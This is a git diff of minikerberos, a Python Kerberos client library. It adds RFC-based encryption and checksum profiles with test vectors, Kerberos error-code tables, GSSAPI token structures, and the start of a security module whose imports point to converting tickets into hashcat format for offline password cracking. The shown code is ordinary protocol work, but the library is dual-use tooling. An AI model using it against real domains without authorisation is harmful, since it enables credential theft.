+		(iterations,) = unpack('>L', params or b'\x00\x00\x10\x00')
+		#prf = lambda p, s: HMAC.new(p, s, SHA).digest()
+		#seed = PBKDF2(string, salt, cls.seedsize, iterations, prf)
+		seed = PBKDF2(string, salt, iterations, cls.seedsize)
+		tkey = cls.random_to_key(seed)
+		return cls.derive(tkey, 'kerberos'.encode())
+
+	@classmethod
+	def basic_encrypt(cls, key, plaintext):
+		assert len(plaintext) >= 16
+		aes = AESModeOfOperationCBC(key.contents, b'\x00' * 16)
+		ctext = aes.encrypt(_zeropad(plaintext, 16))
+		if len(plaintext) > 16:
+			# Swap the last two ciphertext blocks and truncate the
+			# final block to match the plaintext length.
+			lastlen = len(plaintext) % 16 or 16
+			ctext = ctext[:-32] + ctext[-16:] + ctext[-32:-16][:lastlen]
+		return ctext
+
+	@classmethod
+	def basic_decrypt(cls, key, ciphertext):
+		assert len(ciphertext) >= 16
+		aes = AESModeOfOperationECB(key.contents)
+		if len(ciphertext) == 16:
+			return aes.decrypt(ciphertext)
+		# Split the ciphertext into blocks.  The last block may be partial.
+		cblocks = [ciphertext[p:p+16] for p in range(0, len(ciphertext), 16)]
+		lastlen = len(cblocks[-1])
+		# CBC-decrypt all but the last two blocks.
+		prev_cblock = b'\x00' * 16
+		plaintext = b''
+		for b in cblocks[:-2]:
+			plaintext += _xorbytes(aes.decrypt(b), prev_cblock)
+			prev_cblock = b
+		# Decrypt the second-to-last cipher block.  The left side of
+		# the decrypted block will be the final block of plaintext
+		# xor'd with the final partial cipher block; the right side
+		# will be the omitted bytes of ciphertext from the final
+		# block.
+		b = aes.decrypt(cblocks[-2])
+		lastplaintext =_xorbytes(b[:lastlen], cblocks[-1])
+		omitted = b[lastlen:]
+		# Decrypt the final cipher block plus the omitted bytes to get
+		# the second-to-last plaintext block.
+		plaintext += _xorbytes(aes.decrypt(cblocks[-1] + omitted), prev_cblock)
+		return plaintext + lastplaintext
+
+
+class _AES128CTS(_AESEnctype):
+	enctype = Enctype.AES128
+	keysize = 16
+	seedsize = 16
+
+
+class _AES256CTS(_AESEnctype):
+	enctype = Enctype.AES256
+	keysize = 32
+	seedsize = 32
+
+
+class _RC4(_EnctypeProfile):
+	enctype = Enctype.RC4
+	keysize = 16
+	seedsize = 16
+
+	@staticmethod
+	def usage_str(keyusage):
+		# Return a four-byte string for an RFC 3961 keyusage, using
+		# the RFC 4757 rules.  Per the errata, do not map 9 to 8.
+		table = {3: 8, 23: 13}
+		msusage = table[keyusage] if keyusage in table else keyusage
+		return pack('<I', msusage)
+
+	@classmethod
+	def string_to_key(cls, string, salt, params):
+		utf16string = string.decode('UTF-8').encode('UTF-16LE')
+		#return Key(cls.enctype, hashlib.new('md4', utf16string).digest())
+		data = md4(utf16string).digest() #hashlib.new('md4', utf16string).digest()
+		return Key(cls.enctype, data)
+
+	@classmethod
+	def encrypt(cls, key, keyusage, plaintext, confounder):
+		if confounder is None:
+			confounder = get_random_bytes(8)
+		ki = HMAC.new(key.contents, cls.usage_str(keyusage), MD5).digest()
+		cksum = HMAC.new(ki, confounder + plaintext, MD5).digest()
+		ke = HMAC.new(ki, cksum, MD5).digest()
+		return cksum + ARC4(ke).encrypt(confounder + plaintext)
+
+	@classmethod
+	def decrypt(cls, key, keyusage, ciphertext):
+		if len(ciphertext) < 24:
+			raise ValueError('ciphertext too short')
+		cksum, basic_ctext = ciphertext[:16], ciphertext[16:]
+		ki = HMAC.new(key.contents, cls.usage_str(keyusage), MD5).digest()
+		ke = HMAC.new(ki, cksum, MD5).digest()
+		basic_plaintext = ARC4(ke).decrypt(basic_ctext)
+		exp_cksum = HMAC.new(ki, basic_plaintext, MD5).digest()
+		ok = _mac_equal(cksum, exp_cksum)
+		if not ok and keyusage == 9:
+			# Try again with usage 8, due to RFC 4757 errata.
+			ki = HMAC.new(key.contents, pack('<I', 8), MD5).digest()
+			exp_cksum = HMAC.new(ki, basic_plaintext, MD5).digest()
+			ok = _mac_equal(cksum, exp_cksum)
+		if not ok:
+			raise InvalidChecksum('ciphertext integrity failure')
+		# Discard the confounder.
+		return basic_plaintext[8:]
+
+	@classmethod
+	def prf(cls, key, string):
+		return HMAC.new(key.contents, string, SHA).digest()
+
+
+class _ChecksumProfile(object):
+	# Base class for checksum profiles.  Usable checksum classes must
+	# define:
+	#   * checksum
+	#   * verify (if verification is not just checksum-and-compare)
+	@classmethod
+	def verify(cls, key, keyusage, text, cksum):
+		expected = cls.checksum(key, keyusage, text)
+		if not _mac_equal(cksum, expected):
+			raise InvalidChecksum('checksum verification failure')
+
+
+class _SimplifiedChecksum(_ChecksumProfile):
+	# Base class for checksums using the RFC 3961 simplified profile.
+	# Defines the checksum and verify methods.  Subclasses must
+	# define:
+	#   * macsize: Size of checksum in bytes
+	#   * enc: Profile of associated enctype
+
+	@classmethod
+	def checksum(cls, key, keyusage, text):
+		kc = cls.enc.derive(key, pack('>IB', keyusage, 0x99))
+		hmac = HMAC.new(kc.contents, text, cls.enc.hashmod).digest()
+		return hmac[:cls.macsize]
+
+	@classmethod
+	def verify(cls, key, keyusage, text, cksum):
+		if key.enctype != cls.enc.enctype:
+			raise ValueError('Wrong key type for checksum')
+		super(_SimplifiedChecksum, cls).verify(key, keyusage, text, cksum)
+
+
+class _SHA1AES128(_SimplifiedChecksum):
+	macsize = 12
+	enc = _AES128CTS
+
+
+class _SHA1AES256(_SimplifiedChecksum):
+	macsize = 12
+	enc = _AES256CTS
+
+
+class _SHA1DES3(_SimplifiedChecksum):
+	macsize = 20
+	enc = _DES3CBC
+
+
+class _HMACMD5(_ChecksumProfile):
+	@classmethod
+	def checksum(cls, key, keyusage, text):
+		ksign = HMAC.new(key.contents, b'signaturekey\x00', MD5).digest()
+		md5hash = MD5(_RC4.usage_str(keyusage) + text).digest()
+		return HMAC.new(ksign, md5hash, MD5).digest()
+
+	@classmethod
+	def verify(cls, key, keyusage, text, cksum):
+		if key.enctype != Enctype.RC4:
+			raise ValueError('Wrong key type for checksum')
+		super(_HMACMD5, cls).verify(key, keyusage, text, cksum)
+
+
+_enctype_table = {
+	Enctype.DES_MD5: _DESCBC,
+	Enctype.DES3: _DES3CBC,
+	Enctype.AES128: _AES128CTS,
+	Enctype.AES256: _AES256CTS,
+	Enctype.RC4: _RC4
+}
+
+
+_checksum_table = {
+	Cksumtype.SHA1_DES3: _SHA1DES3,
+	Cksumtype.SHA1_AES128: _SHA1AES128,
+	Cksumtype.SHA1_AES256: _SHA1AES256,
+	Cksumtype.HMAC_MD5: _HMACMD5,
+	0xffffff76: _HMACMD5
+}
+
+
+def _get_enctype_profile(enctype):
+	if enctype not in _enctype_table:
+		raise ValueError('Invalid enctype %d' % enctype)
+	return _enctype_table[enctype]
+
+
+def _get_checksum_profile(cksumtype):
+	if cksumtype not in _checksum_table:
+		raise ValueError('Invalid cksumtype %d' % cksumtype)
+	return _checksum_table[cksumtype]
+
+
+class Key(object):
+	def __init__(self, enctype, contents):
+		e = _get_enctype_profile(enctype)
+		if len(contents) != e.keysize:
+			raise ValueError('Wrong key length')
+		self.enctype = enctype
+		self.contents = contents
+
+
+def random_to_key(enctype, seed):
+	e = _get_enctype_profile(enctype)
+	if len(seed) != e.seedsize:
+		raise ValueError('Wrong crypto seed length')
+	return e.random_to_key(seed)
+
+
+def string_to_key(enctype, string, salt, params=None):
+	e = _get_enctype_profile(enctype)
+	return e.string_to_key(string, salt, params)
+
+
+def encrypt(key, keyusage, plaintext, confounder=None):
+	e = _get_enctype_profile(key.enctype)
+	return e.encrypt(key, keyusage, plaintext, confounder)
+
+
+def decrypt(key, keyusage, ciphertext):
+	# Throw InvalidChecksum on checksum failure.  Throw ValueError on
+	# invalid key enctype or malformed ciphertext.
+	e = _get_enctype_profile(key.enctype)
+	return e.decrypt(key, keyusage, ciphertext)
+
+
+def prf(key, string):
+	e = _get_enctype_profile(key.enctype)
+	return e.prf(key, string)
+
+
+def make_checksum(cksumtype, key, keyusage, text):
+	c = _get_checksum_profile(cksumtype)
+	return c.checksum(key, keyusage, text)
+
+
+def verify_checksum(cksumtype, key, keyusage, text, cksum):
+	# Throw InvalidChecksum exception on checksum failure.  Throw
+	# ValueError on invalid cksumtype, invalid key enctype, or
+	# malformed checksum.
+	c = _get_checksum_profile(cksumtype)
+	c.verify(key, keyusage, text, cksum)
+
+
+def cf2(enctype, key1, key2, pepper1, pepper2):
+	# Combine two keys and two pepper strings to produce a result key
+	# of type enctype, using the RFC 6113 KRB-FX-CF2 function.
+	def prfplus(key, pepper, l):
+		# Produce l bytes of output using the RFC 6113 PRF+ function.
+		out = b''
+		count = 1
+		while len(out) < l:
+			out += prf(key, count.to_bytes(1, byteorder='big', signed = False) + pepper)
+			count += 1
+		return out[:l]
+
+	e = _get_enctype_profile(enctype)
+	return e.random_to_key(_xorbytes(prfplus(key1, pepper1, e.seedsize),
+									 prfplus(key2, pepper2, e.seedsize)))
+
+
+if __name__ == '__main__':
+	def h(hexstr):
+		return unhexlify(hexstr)
+
+	# AES128 encrypt and decrypt
+	kb = h('9062430C8CDA3388922E6D6A509F5B7A')
+	conf = h('94B491F481485B9A0678CD3C4EA386AD')
+	keyusage = 2
+	plain = '9 bytesss'.encode()
+	ctxt = h('68FB9679601F45C78857B2BF820FD6E53ECA8D42FD4B1D7024A09205ABB7CD2E'
+			 'C26C355D2F')
+	k = Key(Enctype.AES128, kb)
+	assert(encrypt(k, keyusage, plain, conf) == ctxt)
+	assert(decrypt(k, keyusage, ctxt) == plain)
+
+	# AES256 encrypt and decrypt
+	kb = h('F1C795E9248A09338D82C3F8D5B567040B0110736845041347235B1404231398')
+	conf = h('E45CA518B42E266AD98E165E706FFB60')
+	keyusage = 4
+	plain = '30 bytes bytes bytes bytes byt'.encode()
+	ctxt = h('D1137A4D634CFECE924DBC3BF6790648BD5CFF7DE0E7B99460211D0DAEF3D79A'
+			 '295C688858F3B34B9CBD6EEBAE81DAF6B734D4D498B6714F1C1D')
+	k = Key(Enctype.AES256, kb)
+	assert(encrypt(k, keyusage, plain, conf) == ctxt)
+	assert(decrypt(k, keyusage, ctxt) == plain)
+
+	# AES128 checksum
+	kb = h('9062430C8CDA3388922E6D6A509F5B7A')
+	keyusage = 3
+	plain = 'eight nine ten eleven twelve thirteen'.encode()
+	cksum = h('01A4B088D45628F6946614E3')
+	k = Key(Enctype.AES128, kb)
+	verify_checksum(Cksumtype.SHA1_AES128, k, keyusage, plain, cksum)
+
+	# AES256 checksum
+	kb = h('B1AE4CD8462AFF1677053CC9279AAC30B796FB81CE21474DD3DDBCFEA4EC76D7')
+	keyusage = 4
+	plain = 'fourteen'.encode()
+	cksum = h('E08739E3279E2903EC8E3836')
+	k = Key(Enctype.AES256, kb)
+	verify_checksum(Cksumtype.SHA1_AES256, k, keyusage, plain, cksum)
+
+	# AES128 string-to-key
+	string = 'password'.encode()
+	salt = 'ATHENA.MIT.EDUraeburn'.encode()
+	params = h('00000002')
+	kb = h('C651BF29E2300AC27FA469D693BDDA13')
+	k = string_to_key(Enctype.AES128, string, salt, params)
+	assert(k.contents == kb)
+
+	# AES256 string-to-key
+	string = b'X' * 64
+	salt = 'pass phrase equals block size'.encode()
+	params = h('000004B0')
+	kb = h('89ADEE3608DB8BC71F1BFBFE459486B05618B70CBAE22092534E56C553BA4B34')
+	k = string_to_key(Enctype.AES256, string, salt, params)
+	assert(k.contents == kb)
+
+	# AES128 prf
+	kb = h('77B39A37A868920F2A51F9DD150C5717')
+	k = string_to_key(Enctype.AES128, 'key1'.encode(), 'key1'.encode())
+	assert(prf(k, b'\x01\x61') == kb)
+
+	# AES256 prf
+	kb = h('0D674DD0F9A6806525A4D92E828BD15A')
+	k = string_to_key(Enctype.AES256, 'key2'.encode(), 'key2'.encode())
+	assert(prf(k, b'\x02\x62') == kb)
+
+	# AES128 cf2
+	kb = h('97DF97E4B798B29EB31ED7280287A92A')
+	k1 = string_to_key(Enctype.AES128, 'key1'.encode(), 'key1'.encode())
+	k2 = string_to_key(Enctype.AES128, 'key2'.encode(), 'key2'.encode())
+	k = cf2(Enctype.AES128, k1, k2, b'a', b'b')
+	assert(k.contents == kb)
+
+	# AES256 cf2
+	kb = h('4D6CA4E629785C1F01BAF55E2E548566B9617AE3A96868C337CB93B5E72B1C7B')
+	k1 = string_to_key(Enctype.AES256, 'key1'.encode(), 'key1'.encode())
+	k2 = string_to_key(Enctype.AES256, 'key2'.encode(), 'key2'.encode())
+	k = cf2(Enctype.AES256, k1, k2, b'a', b'b')
+	assert(k.contents == kb)
+
+	# DES3 encrypt and decrypt
+	kb = h('0DD52094E0F41CECCB5BE510A764B35176E3981332F1E598')
+	conf = h('94690A17B2DA3C9B')
+	keyusage = 3
+	plain = b'13 bytes byte'
+	ctxt = h('839A17081ECBAFBCDC91B88C6955DD3C4514023CF177B77BF0D0177A16F705E8'
+			 '49CB7781D76A316B193F8D30')
+	k = Key(Enctype.DES3, kb)
+	assert(encrypt(k, keyusage, plain, conf) == ctxt)
+	assert(decrypt(k, keyusage, ctxt) == _zeropad(plain, 8))
+
+	# DES3 string-to-key
+	string = 'password'.encode()
+	salt = 'ATHENA.MIT.EDUraeburn'.encode()
+	kb = h('850BB51358548CD05E86768C313E3BFEF7511937DCF72C3E')
+	k = string_to_key(Enctype.DES3, string, salt)
+	assert(k.contents == kb)
+
+	# DES3 checksum
+	kb = h('7A25DF8992296DCEDA0E135BC4046E2375B3C14C98FBC162')
+	keyusage = 2
+	plain = 'six seven'.encode()
+	cksum = h('0EEFC9C3E049AABC1BA5C401677D9AB699082BB4')
+	k = Key(Enctype.DES3, kb)
+	verify_checksum(Cksumtype.SHA1_DES3, k, keyusage, plain, cksum)
+
+	# DES3 cf2
+	kb = h('E58F9EB643862C13AD38E529313462A7F73E62834FE54A01')
+	k1 = string_to_key(Enctype.DES3, 'key1'.encode(), 'key1'.encode())
+	k2 = string_to_key(Enctype.DES3, 'key2'.encode(), 'key2'.encode())
+	k = cf2(Enctype.DES3, k1, k2, b'a', b'b')
+	assert(k.contents == kb)
+
+	# RC4 encrypt and decrypt
+	kb = h('68F263DB3FCE15D031C9EAB02D67107A')
+	conf = h('37245E73A45FBF72')
+	keyusage = 4
+	plain = b'30 bytes bytes bytes bytes byt'
+	ctxt = h('95F9047C3AD75891C2E9B04B16566DC8B6EB9CE4231AFB2542EF87A7B5A0F260'
+			 'A99F0460508DE0CECC632D07C354124E46C5D2234EB8')
+	k = Key(Enctype.RC4, kb)
+	assert(encrypt(k, keyusage, plain, conf) == ctxt)
+	assert(decrypt(k, keyusage, ctxt) == plain)
+
+	# RC4 string-to-key
+	string = 'foo'.encode()
+	kb = h('AC8E657F83DF82BEEA5D43BDAF7800CC')
+	k = string_to_key(Enctype.RC4, string, None)
+	assert(k.contents == kb)
+
+	# RC4 checksum
+	kb = h('F7D3A155AF5E238A0B7A871A96BA2AB2')
+	keyusage = 6
+	plain = 'seventeen eighteen nineteen twenty'.encode()
+	cksum = h('EB38CC97E2230F59DA4117DC5859D7EC')
+	k = Key(Enctype.RC4, kb)
+	verify_checksum(Cksumtype.HMAC_MD5, k, keyusage, plain, cksum)
+
+	# RC4 cf2
+	kb = h('24D7F6B6BAE4E5C00D2082C5EBAB3672')
+	k1 = string_to_key(Enctype.RC4, 'key1'.encode(), 'key1'.encode())
+	k2 = string_to_key(Enctype.RC4, 'key2'.encode(), 'key2'.encode())
+	k = cf2(Enctype.RC4, k1, k2, b'a', b'b')
+	assert(k.contents == kb)
+
+	# DES string-to-key
+	string = 'password'.encode()
+	salt = 'ATHENA.MIT.EDUraeburn'.encode()
+	kb = h('cbc22fae235298e3')
+	k = string_to_key(Enctype.DES_MD5, string, salt)
+	assert(k.contents == kb)
+	
+	# DES string-to-key
+	string = 'potatoe'.encode()
+	salt = 'WHITEHOUSE.GOVdanny'.encode()
+	kb = h('df3d32a74fd92a01')
+	k = string_to_key(Enctype.DES_MD5, string, salt)
+	assert(k.contents == kb)
+	print('all tests passed!')
+	
+	
diff --git a/minikerberos/protocol/errors.py b/minikerberos/protocol/errors.py
new file mode 100644
index 0000000..58ce215
--- /dev/null
+++ b/minikerberos/protocol/errors.py
@@ -0,0 +1,144 @@
+#!/usr/bin/env python3
+#
+# Author:
+#  Tamas Jos (@skelsec)
+#
+import enum
+
+class KerberosError(Exception):
+	def __init__(self, krb_err_msg, extra_msg = ''):
+		self.krb_err_msg = krb_err_msg.native
+		self.errorcode = KerberosErrorCode.ERR_NOT_FOUND
+		self.errormsg = 'Error code not found! Err code: %s' % self.krb_err_msg['error-code']
+		try:
+			self.errorcode = KerberosErrorCode(self.krb_err_msg['error-code'])
+			self.errormsg = KerberosErrorMessage[self.errorcode.name]
+		except:
+			pass
+		self.extra_msg = extra_msg
+		
+		super(Exception, self).__init__('%s Error Code: %d Reason: %s ' % (extra_msg, self.errorcode.value, self.errormsg.value))
+	
+		
+
+# https://technet.microsoft.com/en-us/library/bb463166.aspx
+class KerberosErrorCode(enum.Enum):
+	ERR_NOT_FOUND = 0xFFFFFF
+	KDC_ERR_NONE = 0x0 #No error
+	KDC_ERR_NAME_EXP = 0x1 #Client's entry in KDC database has expired
+	KDC_ERR_SERVICE_EXP = 0x2 #Server's entry in KDC database has expired
+	KDC_ERR_BAD_PVNO = 0x3 #Requested Kerberos version number not supported
+	KDC_ERR_C_OLD_MAST_KVNO = 0x4 #Client's key encrypted in old master key
+	KDC_ERR_S_OLD_MAST_KVNO = 0x5 #Server's key encrypted in old master key
+	KDC_ERR_C_PRINCIPAL_UNKNOWN = 0x6 #Client not found in Kerberos database
+	KDC_ERR_S_PRINCIPAL_UNKNOWN = 0x7 #Server not found in Kerberos database
+	KDC_ERR_PRINCIPAL_NOT_UNIQUE = 0x8 #Multiple principal entries in KDC database
+	KDC_ERR_NULL_KEY = 0x9 #The client or server has a null key (master key)
+	KDC_ERR_CANNOT_POSTDATE = 0xA # Ticket (TGT) not eligible for postdating
+	KDC_ERR_NEVER_VALID = 0xB # Requested start time is later than end time
+	KDC_ERR_POLICY = 0xC #Requested start time is later than end time
+	KDC_ERR_BADOPTION = 0xD #KDC cannot accommodate requested option
+	KDC_ERR_ETYPE_NOTSUPP = 0xE # KDC has no support for encryption type
+	KDC_ERR_SUMTYPE_NOSUPP = 0xF # KDC has no support for checksum type
+	KDC_ERR_PADATA_TYPE_NOSUPP = 0x10 #KDC has no support for PADATA type (pre-authentication data)
+	KDC_ERR_TRTYPE_NO_SUPP = 0x11 #KDC has no support for transited type
+	KDC_ERR_CLIENT_REVOKED = 0x12 # Client’s credentials have been revoked
+	KDC_ERR_SERVICE_REVOKED = 0x13 #Credentials for server have been revoked
+	KDC_ERR_TGT_REVOKED = 0x14 #TGT has been revoked
+	KDC_ERR_CLIENT_NOTYET = 0x15 # Client not yet valid—try again later
+	KDC_ERR_SERVICE_NOTYET = 0x16 #Server not yet valid—try again later
+	KDC_ERR_KEY_EXPIRED = 0x17 # Password has expired—change password to reset
+	KDC_ERR_PREAUTH_FAILED = 0x18 #Pre-authentication information was invalid
+	KDC_ERR_PREAUTH_REQUIRED = 0x19 # Additional preauthentication required
+	KDC_ERR_SERVER_NOMATCH = 0x1A #KDC does not know about the requested server
+	KDC_ERR_SVC_UNAVAILABLE = 0x1B # KDC is unavailable
+	KRB_AP_ERR_BAD_INTEGRITY = 0x1F # Integrity check on decrypted field failed
+	KRB_AP_ERR_TKT_EXPIRED = 0x20 # The ticket has expired
+	KRB_AP_ERR_TKT_NYV = 0x21 #The ticket is not yet valid
+	KRB_AP_ERR_REPEAT = 0x22 # The request is a replay
+	KRB_AP_ERR_NOT_US = 0x23 #The ticket is not for us
+	KRB_AP_ERR_BADMATCH = 0x24 #The ticket and authenticator do not match
+	KRB_AP_ERR_SKEW = 0x25 # The clock skew is too great
+	KRB_AP_ERR_BADADDR = 0x26 # Network address in network layer header doesn't match address inside ticket
+	KRB_AP_ERR_BADVERSION = 0x27 # Protocol version numbers don't match (PVNO)
+	KRB_AP_ERR_MSG_TYPE = 0x28 # Message type is unsupported
+	KRB_AP_ERR_MODIFIED = 0x29 # Message stream modified and checksum didn't match
+	KRB_AP_ERR_BADORDER = 0x2A # Message out of order (possible tampering)
+	KRB_AP_ERR_BADKEYVER = 0x2C # Specified version of key is not available
+	KRB_AP_ERR_NOKEY = 0x2D # Service key not available
+	KRB_AP_ERR_MUT_FAIL = 0x2E # Mutual authentication failed
+	KRB_AP_ERR_BADDIRECTION = 0x2F # Incorrect message direction
+	KRB_AP_ERR_METHOD = 0x30 # Alternative authentication method required
+	KRB_AP_ERR_BADSEQ = 0x31 # Incorrect sequence number in message
+	KRB_AP_ERR_INAPP_CKSUM = 0x32 # Inappropriate type of checksum in message (checksum may be unsupported)
+	KRB_AP_PATH_NOT_ACCEPTED = 0x33 # Desired path is unreachable
+	KRB_ERR_RESPONSE_TOO_BIG = 0x34 # Too much data
+	KRB_ERR_GENERIC = 0x3C # Generic error; the description is in the e-data field
+	KRB_ERR_FIELD_TOOLONG = 0x3D # Field is too long for this implementation
+	KDC_ERR_CLIENT_NOT_TRUSTED = 0x3E # The client trust failed or is not implemented
+	KDC_ERR_KDC_NOT_TRUSTED = 0x3F # The KDC server trust failed or could not be verified
+	KDC_ERR_INVALID_SIG = 0x40 # The signature is invalid
+	KDC_ERR_KEY_TOO_WEAK = 0x41 #A higher encryption level is needed
+	KRB_AP_ERR_USER_TO_USER_REQUIRED = 0x42# User-to-user authorization is required
+	KRB_AP_ERR_NO_TGT  = 0x43 # No TGT was presented or available
+	KDC_ERR_WRONG_REALM = 0x44 #Incorrect domain or principal
+	
+class KerberosErrorMessage(enum.Enum):
+	KDC_ERR_NONE = 'No error'
+	KDC_ERR_NAME_EXP = 'Client\'s entry in KDC database has expired'
+	KDC_ERR_SERVICE_EXP = 'Server\'s entry in KDC database has expired'
+	KDC_ERR_BAD_PVNO = 'Requested Kerberos version number not supported'
+	KDC_ERR_C_OLD_MAST_KVNO =  'Client\'s key encrypted in old master key'
+	KDC_ERR_S_OLD_MAST_KVNO = 'Server\'s key encrypted in old master key'
+	KDC_ERR_C_PRINCIPAL_UNKNOWN =  'Client not found in Kerberos database'
+	KDC_ERR_S_PRINCIPAL_UNKNOWN = 'Server not found in Kerberos database'
+	KDC_ERR_PRINCIPAL_NOT_UNIQUE = 'Multiple principal entries in KDC database'
+	KDC_ERR_NULL_KEY = 'The client or server has a null key (master key)'
+	KDC_ERR_CANNOT_POSTDATE =  'Ticket (TGT) not eligible for postdating'
+	KDC_ERR_NEVER_VALID = 'Requested start time is later than end time'
+	KDC_ERR_POLICY = 'Requested start time is later than end time'
+	KDC_ERR_BADOPTION = 'KDC cannot accommodate requested option'
+	KDC_ERR_ETYPE_NOTSUPP =  'KDC has no support for encryption type'
+	KDC_ERR_SUMTYPE_NOSUPP = 'KDC has no support for checksum type'
+	KDC_ERR_PADATA_TYPE_NOSUPP =  'KDC has no support for PADATA type (pre-authentication data)'
+	KDC_ERR_TRTYPE_NO_SUPP =  'KDC has no support for transited type'
+	KDC_ERR_CLIENT_REVOKED ='Client’s credentials have been revoked'
+	KDC_ERR_SERVICE_REVOKED =  'Credentials for server have been revoked'
+	KDC_ERR_TGT_REVOKED =  'TGT has been revoked'
+	KDC_ERR_CLIENT_NOTYET =  'Client not yet valid—try again later'
+	KDC_ERR_SERVICE_NOTYET = 'Server not yet valid—try again later'
+	KDC_ERR_KEY_EXPIRED =  'Password has expired—change password to reset'
+	KDC_ERR_PREAUTH_FAILED = 'Pre-authentication information was invalid'
+	KDC_ERR_PREAUTH_REQUIRED =  'Additional preauthentication required'
+	KDC_ERR_SERVER_NOMATCH = 'KDC does not know about the requested server'
+	KDC_ERR_SVC_UNAVAILABLE = 'KDC is unavailable'
+	KRB_AP_ERR_BAD_INTEGRITY =  'Integrity check on decrypted field failed'
+	KRB_AP_ERR_TKT_EXPIRED =  'The ticket has expired'
+	KRB_AP_ERR_TKT_NYV = 'The ticket is not yet valid'
+	KRB_AP_ERR_REPEAT =  'The request is a replay'
+	KRB_AP_ERR_NOT_US =  'The ticket is not for us'
+	KRB_AP_ERR_BADMATCH =  'The ticket and authenticator do not match'
+	KRB_AP_ERR_SKEW =  'The clock skew is too great'
+	KRB_AP_ERR_BADADDR =  'Network address in network layer header doesn\'t match address inside ticket'
+	KRB_AP_ERR_BADVERSION = 'Protocol version numbers don\'t match (PVNO)'
+	KRB_AP_ERR_MSG_TYPE ='Message type is unsupported'
+	KRB_AP_ERR_MODIFIED = 'Message stream modified and checksum didn\'t match'
+	KRB_AP_ERR_BADORDER = 'Message out of order (possible tampering)'
+	KRB_AP_ERR_BADKEYVER =  'Specified version of key is not available'
+	KRB_AP_ERR_NOKEY =  'Service key not available'
+	KRB_AP_ERR_MUT_FAIL = 'Mutual authentication failed'
+	KRB_AP_ERR_BADDIRECTION = 'Incorrect message direction'
+	KRB_AP_ERR_METHOD =  'Alternative authentication method required'
+	KRB_AP_ERR_BADSEQ = 'Incorrect sequence number in message'
+	KRB_AP_ERR_INAPP_CKSUM = 'Inappropriate type of checksum in message (checksum may be unsupported)'
+	KRB_AP_PATH_NOT_ACCEPTED = 'Desired path is unreachable'
+	KRB_ERR_RESPONSE_TOO_BIG =  'Too much data'
+	KRB_ERR_GENERIC =  'Generic error; the description is in the e-data field'
+	KRB_ERR_FIELD_TOOLONG =  'Field is too long for this implementation'
+	KDC_ERR_CLIENT_NOT_TRUSTED = 'The client trust failed or is not implemented'
+	KDC_ERR_KDC_NOT_TRUSTED =  'The KDC server trust failed or could not be verified'
+	KDC_ERR_INVALID_SIG = 'The signature is invalid'
+	KDC_ERR_KEY_TOO_WEAK = 'A higher encryption level is needed'
+	KRB_AP_ERR_USER_TO_USER_REQUIRED ='User-to-user authorization is required'
+	KRB_AP_ERR_NO_TGT  ='No TGT was presented or available'
+	KDC_ERR_WRONG_REALM = 'Incorrect domain or principal'
\ No newline at end of file
diff --git a/minikerberos/protocol/structures.py b/minikerberos/protocol/structures.py
new file mode 100644
index 0000000..3f05ee5
--- /dev/null
+++ b/minikerberos/protocol/structures.py
@@ -0,0 +1,79 @@
+import io
+import enum
+import base64
+
+from minikerberos.protocol.asn1_structs import GSSAPIOID, GSSAPIToken
+
+#https://tools.ietf.org/html/rfc4121#section-4.1.1.1
+class ChecksumFlags(enum.IntFlag):
+	GSS_C_DELEG_FLAG = 1
+	GSS_C_MUTUAL_FLAG = 2
+	GSS_C_REPLAY_FLAG = 4
+	GSS_C_SEQUENCE_FLAG = 8
+	GSS_C_CONF_FLAG = 16
+	GSS_C_INTEG_FLAG = 32
+	GSS_C_DCE_STYLE = 0x1000
+		  
+#https://tools.ietf.org/html/rfc4121#section-4.1.1
+class AuthenticatorChecksum:
+	def __init__(self):
+		self.length_of_binding = None
+		self.channel_binding = None #MD5 hash of gss_channel_bindings_struct
+		self.flags = None #ChecksumFlags
+		self.delegation = None
+		self.delegation_length = None
+		self.delegation_data = None
+		self.extensions = None
+		
+	@staticmethod
+	def from_bytes(data):
+		return AuthenticatorChecksum.from_buffer(io.BytesIO(data))
+		
+	@staticmethod
+	def from_buffer(buffer):
+		ac = AuthenticatorChecksum()
+		ac.length_of_binding = int.from_bytes(buffer.read(4), byteorder = 'little', signed = False)
+		ac.channel_binding = buffer.read(ac.length_of_binding) #according to the latest RFC this is 16 bytes long always
+		ac.flags = ChecksumFlags(int.from_bytes(buffer.read(4), byteorder = 'little', signed = False))
+		if ac.flags & ChecksumFlags.GSS_C_DELEG_FLAG:
+			ac.delegation = bool(int.from_bytes(buffer.read(2), byteorder = 'little', signed = False))
+			ac.delegation_length = int.from_bytes(buffer.read(2), byteorder = 'little', signed = False)
+			ac.delegation_data = buffer.read(ac.delegation_length)
+		ac.extensions = buffer.read()
+		return ac
+		
+		
+	def to_bytes(self):
+		t = len(self.channel_binding).to_bytes(4, byteorder = 'little', signed = False)
+		t += self.channel_binding
+		t += self.flags.to_bytes(4, byteorder = 'little', signed = False)
+		if self.flags & ChecksumFlags.GSS_C_DELEG_FLAG:
+			t += int(self.delegation).to_bytes(2, byteorder = 'little', signed = False)
+			t += len(self.delegation_data.to_bytes()).to_bytes(2, byteorder = 'little', signed = False)
+			t += self.delegation_data.to_bytes()
+		if self.extensions:
+			t += self.extensions.to_bytes()
+		return t
+
+
+# KRB5Token TOK_ID values.
+class KRB5TokenTokID(enum.IntFlag):
+	KRB_AP_REQ = 0x0100
+	KRB_AP_REP = 0x0200
+	KRB_ERROR = 0x0300
+
+	def get_bytes(self):
+		return self.value.to_bytes(2, byteorder='big')
+
+
+# https://tools.ietf.org/html/rfc4121#section-4.1
+class KRB5Token:
+	def __init__(self, inner_token):
+		self.oid = GSSAPIOID('krb5')
+		self.inner_token = inner_token
+
+	def get_apreq_token(self, encoding='utf-8'):
+		token = self.oid.dump()
+		token += KRB5TokenTokID.KRB_AP_REQ.get_bytes()
+		token += self.inner_token
+		return str(base64.b64encode(GSSAPIToken(contents=token).dump()), encoding)
diff --git a/minikerberos/security.py b/minikerberos/security.py
new file mode 100644
index 0000000..981a454
--- /dev/null
+++ b/minikerberos/security.py
@@ -0,0 +1,166 @@
+#!/usr/bin/env python3
+#
+# Author:
+#  Tamas Jos (@skelsec)
+#
+
+import datetime
+import secrets
+
+from minikerberos import logger
+from minikerberos.aioclient import AIOKerberosClient
+from minikerberos.common.spn import KerberosSPN
+from minikerberos.common.target import KerberosTarget
+from minikerberos.common.creds import KerberosCredential
+from minikerberos.common.utils import TGSTicket2hashcat, TGTTicket2hashcat
+from minikerberos import logger
+from minikerberos.protocol.asn1_structs import PrincipalName, KDCOptions, \
+	PADATA_TYPE, PA_PAC_REQUEST, krb5_pvno, KDC_REQ_BODY, AS_REQ
+
